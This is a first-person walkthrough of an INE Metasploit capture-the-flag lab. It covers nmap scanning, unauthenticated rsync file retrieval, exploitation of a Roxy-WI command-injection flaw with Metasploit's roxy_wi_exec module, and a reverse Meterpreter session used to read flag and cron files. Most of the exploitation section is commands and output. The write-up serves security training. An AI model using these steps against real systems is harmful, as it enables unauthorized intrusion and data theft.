October 28, 2026

Host & Network Penetration Testing: The Metasploit Framework CTF 2 — A Hands-On Walkthrough

Notice to Readers

By Prajwal S

7 min read

Notice to Readers

This article documents my hands-on experience completing the Host & Network Penetration Testing: The Metasploit Framework CTF 2 lab in the INE training environment. It covers service enumeration, RSYNC file discovery, web application exploitation using Metasploit, and post-exploitation investigation.

Introduction

In this lab, I was provided with GUI access to a Kali Linux machine and two targets:

  • target1.ine.local
  • target2.ine.local

The objective was to explore the targets, identify exposed services, investigate accessible files, exploit a vulnerable web application using Metasploit, and inspect scheduled tasks to find the final flag.

The lab contained four objectives:

  1. Enumerate the open port and inspect the RSYNC banner.
  2. Explore the RSYNC server's files to find another flag.
  3. Exploit the web application on target2.ine.local using Metasploit to gain a shell.
  4. Investigate scheduled jobs or running processes to uncover the final flag.

I started by scanning the first target, then investigated the RSYNC service and its accessible files. After capturing the first two flags, I moved to the second target, identified the Roxy-WI web application, and used a Metasploit exploit module to obtain a Meterpreter session. Finally, I inspected the target's filesystem and discovered a scheduled-task configuration containing the fourth flag.

Flag 1 — Enumerate the Open Port and Inspect the RSYNC Banner

Objective: Enumerate the open port using Metasploit, and inspect the RSYNC banner closely; it might reveal something interesting.

Step 1: Scan the first target

I began by running Nmap against target1.ine.local.

nmap -sV -sC target1.ine.local

Command breakdown:

  • nmap — launches the network scanning tool.
  • -sV — attempts to identify the services and their versions running on open ports.
  • -sC — runs Nmap's default set of NSE scripts to gather additional service information.
  • target1.ine.local — specifies the first lab target.

The scan returned the following relevant result:

PORT    STATE SERVICE VERSION
873/tcp open  rsync   (protocol version 31)

This showed that TCP port 873 was open and running RSYNC, with protocol version 31 reported by Nmap.

RSYNC is commonly used to synchronize files and directories between systems. An exposed RSYNC service is worth investigating because its configuration may allow users to list or retrieve files without authentication.

Note: My recorded command for this step was Nmap, rather than a Metasploit port-scanning module. The actual output confirmed that RSYNC was listening on port 873.

Step 2: Inspect the RSYNC response

After identifying the service, I queried the RSYNC server directly:

rsync rsync://target1.ine.local

The server returned:

backupwscohen   FLAG1_973d688be5324100a0aca39845e55909

This response revealed an available RSYNC module named backupwscohen. It also exposed the first flag directly in the module-listing response.

The rsync:// prefix tells the client to connect using the RSYNC protocol. Since I did not specify a module after the hostname, the command requested the server's available module list.

The result showed that the service disclosed useful information without requiring me to authenticate.

What I learned

This step demonstrated why service enumeration should go beyond identifying an open port. Once I found RSYNC, querying its response revealed a module name and the first flag.

Flag 2 — Explore the RSYNC Server's Files

Objective: The files on the RSYNC server hold valuable information. Explore the contents to find the flag.

Step 1: List the files in the RSYNC module

After identifying the backupwscohen module, I investigated its contents:

rsync rsync://target1.ine.local/backupwscohen

The server returned:

drwxr-xr-x          4,096 2026/10/28 19:59:11 .
-rw-r--r--             20 2024/10/28 15:05:40 TPSData.txt
-rw-r--r--             25 2024/10/28 15:05:40 office_staff.vhd
-rw-r--r--             39 2026/10/28 19:59:11 pii_data.xlsx

The module contained three files:

  • TPSData.txt
  • office_staff.vhd
  • pii_data.xlsx

This listing showed that the module exposed files that could be investigated further.

Step 2: Download the files

I downloaded each file into my current working directory:

rsync rsync://target1.ine.local/backupwscohen/TPSData.txt .
rsync rsync://target1.ine.local/backupwscohen/office_staff.vhd .
rsync rsync://target1.ine.local/backupwscohen/pii_data.xlsx .

Command breakdown:

  • rsync — runs the file synchronization client.
  • rsync://target1.ine.local/backupwscohen/ — identifies the remote server and module.
  • The filename at the end specifies the individual file to retrieve.
  • . — specifies the current directory as the local destination.

I then used ls to verify that the files had been downloaded:

ls

The output showed TPSData.txt, office_staff.vhd, and pii_data.xlsx in my current directory.

Step 3: Inspect the downloaded file

I inspected pii_data.xlsx with:

cat pii_data.xlsx

The output was:

FLAG2_e54ef7f30b9043b1b21406c915c7efc2

This revealed the second flag.

Although the filename used an .xlsx extension, the contents displayed as readable text in this lab. The command worked because the file contained the flag as plain text rather than a conventional binary Excel workbook.

What I learned

The important finding was that the RSYNC module allowed me to list and retrieve files without authentication. That made it possible to inspect the exposed data and discover the second flag.

This step also reminded me not to rely solely on file extensions when examining files in a lab. The actual contents determine which inspection method is appropriate.

Flag 3 — Exploit the Web Application on target2.ine.local

Objective: Try exploiting the webapp to gain a shell using Metasploit on target2.ine.local.

Step 1: Enumerate the second target

I moved to target2.ine.local and ran:

nmap -sV -sC -Pn target2.ine.local

Command breakdown:

  • nmap — launches the network scanner.
  • -sV — attempts to identify the services and versions.
  • -sC — runs Nmap's default NSE scripts.
  • -Pn — skips host discovery and treats the target as online for scanning.
  • target2.ine.local — specifies the second target.

The scan identified these services:

PORT    STATE SERVICE  VERSION
80/tcp  open  http     Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Roxy-WI
|_http-server-header: Apache/2.4.52 (Ubuntu)
443/tcp open  ssl/http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
| ssl-cert: Subject: commonName=*.roxy-wi.org/organizationName=Roxy-WI/stateOrProvinceName=Almaty/countryName=US
|_http-title: Roxy-WI

The HTTP title identified the web application as Roxy-WI. Both HTTP and HTTPS were available, and the scan reported Apache HTTP Server 2.4.52 on Ubuntu.

This information gave me a starting point for searching for a relevant Metasploit module.

Step 2: Launch Metasploit and search for Roxy-WI

I launched the Metasploit Framework:

msfconsole -q

The -q option starts the console in quiet mode, reducing startup output.

Inside Metasploit, I searched for modules related to Roxy-WI:

search Roxy-WI

The search returned:

exploit/linux/http/roxy_wi_exec

The module description identified it as a Roxy-WI unauthenticated command-injection remote code execution exploit for versions prior to 6.1.1.0.

This was relevant to the application I had identified through Nmap.

Step 3: Select the exploit and review its options

I selected the first matching module:

use 0

I then reviewed its available configuration:

options

The important options included:

OptionInitial valuePurposeRHOSTSUnsetSpecifies the remote target host.RPORT443Specifies the target TCP port.SSLtrueEnables HTTPS/TLS for the connection.TARGETURI/Specifies the path to the vulnerable web application.LHOST127.0.0.1Initial callback address for the reverse connection.LPORT4444Local port used by the reverse handler.

The module's default target port was 443, which matched the HTTPS service found during the scan.

Step 4: Configure the target

I set the target hostname:

set RHOSTS target2.ine.local

Then I configured the callback address to use my Kali lab machine's address:

set LHOST 192.91.227.2

Why these options matter:

  • RHOSTS identifies the remote system against which the module runs.
  • LHOST specifies the address to which the reverse payload should connect.
  • LPORT specifies the listening port; in my transcript, it remained at the default of 4444.

The callback address must be reachable from the target in the lab network.

Step 5: Execute the exploit

I launched the module:

exploit

Metasploit reported that the target was vulnerable and that its test command executed successfully:

[*] Started reverse TCP handler on 192.91.227.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.91.227.4:443 is vulnerable!
[*] 192.91.227.4:443 is vulnerable!
[+] The target is vulnerable. The device responded to exploitation with a 200 OK and test command successfully executed.
[*] Exploiting...
[*] Sending stage (24768 bytes) to 192.91.227.4
[*] Meterpreter session 1 opened

The successful Meterpreter session confirmed that I had obtained interactive access to the target.

Step 6: Navigate the filesystem and retrieve the flag

Inside Meterpreter, I checked my current working directory:

pwd

The output was:

/var/www/haproxy-wi/app

I moved to the root directory:

cd /

Then I listed its contents:

ls

The output included a file named flag.txt in /.

I read the file:

cat flag.txt

The output was:

FLAG3_00e781f518f2438582d1d78f8d27fb35

This completed the third objective.

What I learned

This part of the lab demonstrated a practical exploitation workflow:

  1. Identify the web application through service enumeration.
  2. Search Metasploit for a relevant exploit module.
  3. Review the module's configuration.
  4. Set the target and callback address.
  5. Execute the module and check the result.
  6. Use the Meterpreter session to locate the requested flag.

Obtaining a Meterpreter session does not automatically prove that privilege escalation has occurred. In my recorded steps, I accessed the flag file from the root directory, but I did not document a separate privilege-escalation procedure.

Flag 4 — Investigate Scheduled Jobs or Running Processes

Objective: Automated tasks can sometimes leave clues. Investigate scheduled jobs or running processes to uncover the hidden flag.

Step 1: Inspect the cron configuration directory

After retrieving Flag 3, I continued investigating the target through the Meterpreter session.

I navigated into /etc:

cd etc

Then I opened the cron configuration directory:

cd cron.d

I listed its contents:

ls

The output showed:

e2scrub_all
www-data-cron

The /etc/cron.d directory commonly contains configuration files for scheduled jobs. The www-data-cron file looked like a useful item to inspect.

Step 2: Read the scheduled-job file

Instead of attempting to enter it again, I read its contents:

cat www-data-cron

The output was:

* * * * * www-data echo "FLAG4_5586df9f309546a69fa7431d5b988565"

This revealed the fourth flag.

Understanding the cron entry

The entry follows the format of a system-wide cron job:

* * * * * www-data echo "FLAG4_5586df9f309546a69fa7431d5b988565"
  • The first five fields specify the schedule: minute, hour, day of the month, month, and day of the week.
  • Five asterisks mean the job is scheduled to run every minute.
  • www-data specifies the account under which the job is configured to run.
  • echo prints the quoted text.

The flag was included directly in the command, so I did not need to wait for the scheduled job to execute. Reading the configuration file was enough to find it.

What I learned

Scheduled-task files can provide useful information during post-exploitation investigation. They may reveal commands, execution schedules, and the accounts associated with automated tasks.

This step also reinforced a practical lesson: when a command fails because an entry is not a directory, check whether it is a file and inspect it using the appropriate command.

Lessons Learned

1. Service enumeration is an essential starting point

Nmap helped me identify RSYNC on port 873 and the Roxy-WI web application on ports 80 and 443. This information guided the next steps of the assessment.

2. Exposed file-sharing services can disclose sensitive information

The RSYNC module allowed me to list and retrieve files without authentication. This demonstrated the importance of restricting access to file-sharing services and reviewing their permissions.

3. Metasploit requires careful configuration

Searching for the application, reviewing module options, setting RHOSTS and LHOST, and observing the exploit output helped me understand the exploitation process.

4. A Meterpreter session enables further investigation

After gaining access, I navigated the filesystem and read the requested flag file. I then inspected the scheduled-task configuration to discover the final flag.

5. Errors can provide useful feedback

The failed attempt to change into www-data-cron showed that it was not a directory. Recognizing the difference between a file and a directory helped me choose the correct next command.

Conclusion

In this INE lab, I completed all four objectives by combining service enumeration, RSYNC file discovery, Metasploit exploitation, and post-exploitation inspection.

The first target exposed an RSYNC module that revealed the first flag and provided access to files containing the second. The second target hosted Roxy-WI, which I successfully exploited with Metasploit to obtain a Meterpreter session and retrieve the third flag. Finally, I inspected /etc/cron.d and found the fourth flag inside a scheduled-job configuration file.

The main lesson I took from this lab was that penetration testing is a process of following evidence. Each step — from identifying an open port to inspecting a configuration file — provided information that guided the next action.